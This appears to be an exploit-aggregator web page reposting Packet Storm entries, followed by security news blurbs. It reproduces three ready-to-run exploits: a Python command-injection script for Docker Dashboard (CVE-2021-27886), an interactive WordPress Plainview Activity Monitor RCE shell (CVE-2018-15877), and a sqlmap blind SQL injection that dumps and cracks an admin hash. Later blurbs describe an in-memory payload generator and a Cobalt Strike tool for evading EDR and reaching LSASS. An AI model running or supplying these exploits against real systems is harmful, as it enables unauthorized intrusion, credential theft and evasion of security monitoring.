Exploit Collector
Docker Dashboard Remote Command Execution

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Docker Dashboard suffers from a remote command execution vulnerability. The fix is added in commit 79cdc41.

MD5 | 4c29691af5fd9c2080f1f24e78725fe6

Download
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# dockdash.py
#
# Docker Dashboard Remote Command Execution Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# July 2021
#
# "A simple web based GUI for managing Docker containers and images"
#
# Note: this app is NOT part of the official docker product, nor related to the
# Docker Dashboard UI in Docker Desktop. They are different projects and maintainers.
#
# More info: https://dockerdashboard.github.io
#
# -------
# Details
# -------
#
# The web GUI runs on port 3230. There are two main issues that enable the RCE...
#
# 1) Although when starting the server it says go to http://localhost:3230, it's
# actually listening on the network interface by default. There is no auth
# so anyone with access can start exercising functionality of the app.
#
# 2) Normally these controllers are used to start, stop or create new containers.
# But no validation of parameters or filtering based on acceptable commands sent
# sent to docker on the backend enables clean, vanilla command injection as the
# running user. Many of the APIs are vulnerable, with the most notables ones
# being /api/container/command and /api/image/command.
#
# ----
# Demo
# ----
#
# > ./dockdash.py 10.1.1.102 "uname -a;pwd"
# Linux ubuntu 5.4.0-48-generic #51-Ubuntu x86_64 GNU/Linux
# /opt/docker-web-gui/backend
#
# CVE-2021-27886
#
# Fix
# - commit 79cdc41
#

import sys
import argparse
import requests

DEFAULT_PORT = 3230
SIGNATURE = ('X-Powered-By', 'Express')

class DockDash(object):
def __init__(self, args):
self.target = args.target
self.cmd = args.cmd

def run(self):
target = "http://" + self.target + ':' + str(DEFAULT_PORT)

session = requests.Session()

try:
resp = session.head(target + "/")
except Exception as error:
print("Error: %s" % error)
return -1

if(SIGNATURE not in resp.headers.items()):
print("%s doesn't look like a dashboard server..." % target)
return -1

commands = self.cmd.split(';')

#
# "out here trying to get a mf'in scholarship"
#
for command in commands:
try:
resp = session.get(target + \
"/api/container/command?container=&command=;" + command)
#"/api/image/command?image=&command=;" + command)
except Exception as error:
print("Error: %s" % error)
return -1

if(resp.status_code == 200):
response = resp.text.strip('"').replace('\\n', '\n')
print("%s" % response)
else:
print("something went wrong, server returned %d" % resp.status_code)
return -1

return 0

def arg_parse():
parser = argparse.ArgumentParser()

parser.add_argument("target",
type=str,
help="DD host")

parser.add_argument("cmd",
type=str,
help="command to execute")

args = parser.parse_args()

return args

def main():
args = arg_parse()

dd = DockDash(args)

result = dd.run()

if(result > 0):
sys.exit(-1)

if(__name__ == '__main__'):
main()

Source:packetstormsecurity.com

Exploit Collector
WordPress Plainview Activity Monitor 20161228 Remote Code Execution

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
WordPress Plainview Activity Monitor plugin version 20161228 authenticated remote code execution exploit.

MD5 | 93650ad2460fe99455fca01d973be3e8

Download
# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
# Date: 07.07.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/
# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip
# Version: 20161228 and possibly prior
# Fixed version: 20180826
# CVE : CVE-2018-15877

"""
-------------------------
Usage:
┌──(root@kali)-[~/tools]
└─# python3 WordPress-Activity-Monitor-RCE.py
What's your target IP?
192.168.101.28
What's your username?
mark
What's your password?
password123
[*] Please wait...
[*] Perfect!
www-data@192.168.101.28 whoami
www-data
www-data@192.168.101.28 pwd
/var/www/html/wp-admin
www-data@192.168.101.28 id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
"""

import requests
from bs4 import BeautifulSoup

def exploit(whoami, ip):
while 1:
cmd = input(whoami+"@"+ip+" ")
url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
payload = "google.com.tr | " + cmd
data = {'ip': payload , 'lookup' : 'lookup' }
x = requests.post(url, data = data, cookies=getCookie(ip))
html_doc = x.text.split("
Output from dig:
")[1]
soup = BeautifulSoup(html_doc, 'html.parser')
print(soup.p.text)

def poc(ip):
url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
myobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }
x = requests.post(url, data = myobj, cookies=getCookie(ip))
html_doc = x.text.split("
Output from dig:
")[1]
soup = BeautifulSoup(html_doc, 'html.parser')
print("[*] Perfect! ")
exploit(soup.p.text, ip)

def getCookie(ip):
url = 'http://' + ip + '/wp-login.php'
#log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1
data = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}
x = requests.post(url, data = data)
cookies = {}
cookie = str(x.headers["Set-Cookie"])

for i in cookie.split():
if(i.find("wordpress") != -1 and i.find("=") != -1):
cookies[i.split("=")[0]] = i.split("=")[1][:len(i.split("=")[1])-1]
return cookies

ip = input("What's your target IP?\n")
username = input("What's your username?\n")
password = input("What's your password?\n")
print("[*] Please wait...")
poc(ip)


Source:packetstormsecurity.com

Exploit Collector
Online Covid Vaccination Scheduler System 1.0 SQL Injection

https://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png
Online Covid Vaccination Scheduler System version 1.0 suffers from a remote time-based blind SQL injection vulnerability.

MD5 | 2de8c8ebac058de7045deffc42bce069

Download
# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection
# Date: 2021-07-07
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP
################
# Description #
################

The admin panel login can be assessed at http://{ip}/scheduler/admin/login.php. The username parameter is vulnerable to time-based SQL injection.
Upon successful dumping the admin password hash, we can decrypt and obtain the plain-text password. Hence, we could authenticate as Administrator.
###########
# PoC #
###########

Run sqlmap to dump username and password:

$ sqlmap -u "http://localhost/scheduler/classes/Login.php?f=login" --data="username=admin&password=blabla" --cookie="PHPSESSID=n3to3djqetf42c2e7l257kspi5" --batch --answers="crack=N,dict=N,continue=Y,quit=N" -D scheduler -T users -C username,password --dump
###########
# Output #
###########

Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 7551 FROM (SELECT(SLEEP(5)))QOUn) AND 'MOUZ'='MOUZ&password=blabla
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
current database: 'scheduler'

Database: scheduler
Table: users
[1 entry]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 0192023a7bbd73250516f069df18b500 |
+----------+----------------------------------+
The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Microsoft Releases Emergency Patch for 'PrintNightmare' Vuln

It organizations to immediately apply security update, citing exploit activity.

Kali Linux Tutorials
Forblaze : A Python Mac Steganography Payload Generator

Forblaze is a project designed to provide steganography capabilities to Mac OS payloads. Using python3, it will build an Obj-C file for you which will be compiled to pull desired encrypted URLs out of the stego file, fetch payloads over https, and execute them directly into memory. It utilizes custom encryption – it is not […]

The post Forblaze : A Python Mac Steganography Payload Generator appeared first on Kali Linux Tutorials.

Hacking on Medium
Microsoft Released the Patch For PrintNightmare vulnerability. — CyberWorkx

Microsoft has released the patch for the printNightMare vulnerability which has really created a Nightmare for the organizations.

Continue reading on Medium »

Hacking on Medium
Más de 200 empresas afectadas por ransomware en un ataque a la cadena de provisión #KaseyaVSA.

https://cdn-images-1.medium.com/max/768/0*S4jbhWahechYVg94
POR EHACKING

Continue reading on Medium »

Hacking on Medium
Microsoft’s PrintNightMare Emergency Patch Can Be Bypassed. — CyberWorkx

As we all know how the PrintNightMare bug has made a huge NightMare for IT admins and Security teams , Luckily When Microsoft had released…

Continue reading on Medium »

Hacking on Medium
HOW TO GET STARTED (REALLY STARTED) IN HACKING

https://cdn-images-1.medium.com/max/600/0*XoBXlMq5HpFUTw0D.png
By: HTMLhacker

Continue reading on Medium »

FindObjects-BOF - A Cobalt Strike Beacon Object File (BOF) Project Which Uses Direct System Calls To Enumerate Processes For Specific Loaded Modules Or Process Handles

A Cobalt Strike Beacon Object File (BOF) project which uses direct system calls to enumerate processes for specific modules or process handles.What is this repository for? Use direct systems calls within Beacon Object files to enumerate processes for specific loaded modules (e.g. winhttp.dll, amsi.dll or clr.dll). Use direct systems calls within Beacon Object files to enumerate processes for specific process handles (e.g. lsass.exe). Avoid using the Windows and Native APIs as much as possible (to avoid userland hooks). Execute this code within the beacon process using Beacon object files to avoid fork&run. Why do i need this? Utilizing direct systems calls via inline assembly in BOF code provides a more opsec safe way of interacting with the system. Using direct system calls avoids AV/EDR software intercepting user-mode API calls. The FindModule bof can be used to identify processes which have a certain module loaded, for example the .NET runtime clr.dll or the winhttp.dll module. This information can be used to select a more opsec safe spawnto candidate when using Cobalt Strike's execute-assembly or before injecting an exfill beacon shellcode using the shinject command. The FindProcHandle bof can be used to identify processes with a specific process handle in use, for example processes using a handle to the lsass.exe process. If there's a process within the system with a lsass.exe process handle, we could use this existing process/handle to read or write memory without opening a new process handle. This bypasses certain AV/EDR's capabilities of detecting and blocking LSASS process/memory access. How do I set this up? We will not supply compiled binaries. You will have to do this yourself: Clone this repository. Make sure you have the Mingw-w64 compiler installed. On Mac OSX for example, you can use the ports collection to install Mingw-w64 (sudo port install mingw-w64). Run the make command to compile the Beacon object file. Within Cobalt Strike use the Script Manager to load the FindObjects.cna script. Within a Cobalt Strike beacon context use the FindProcHandle or FindModule command with the required parameters (e.g. module or process name). Download FindObjects-BOF
Read more...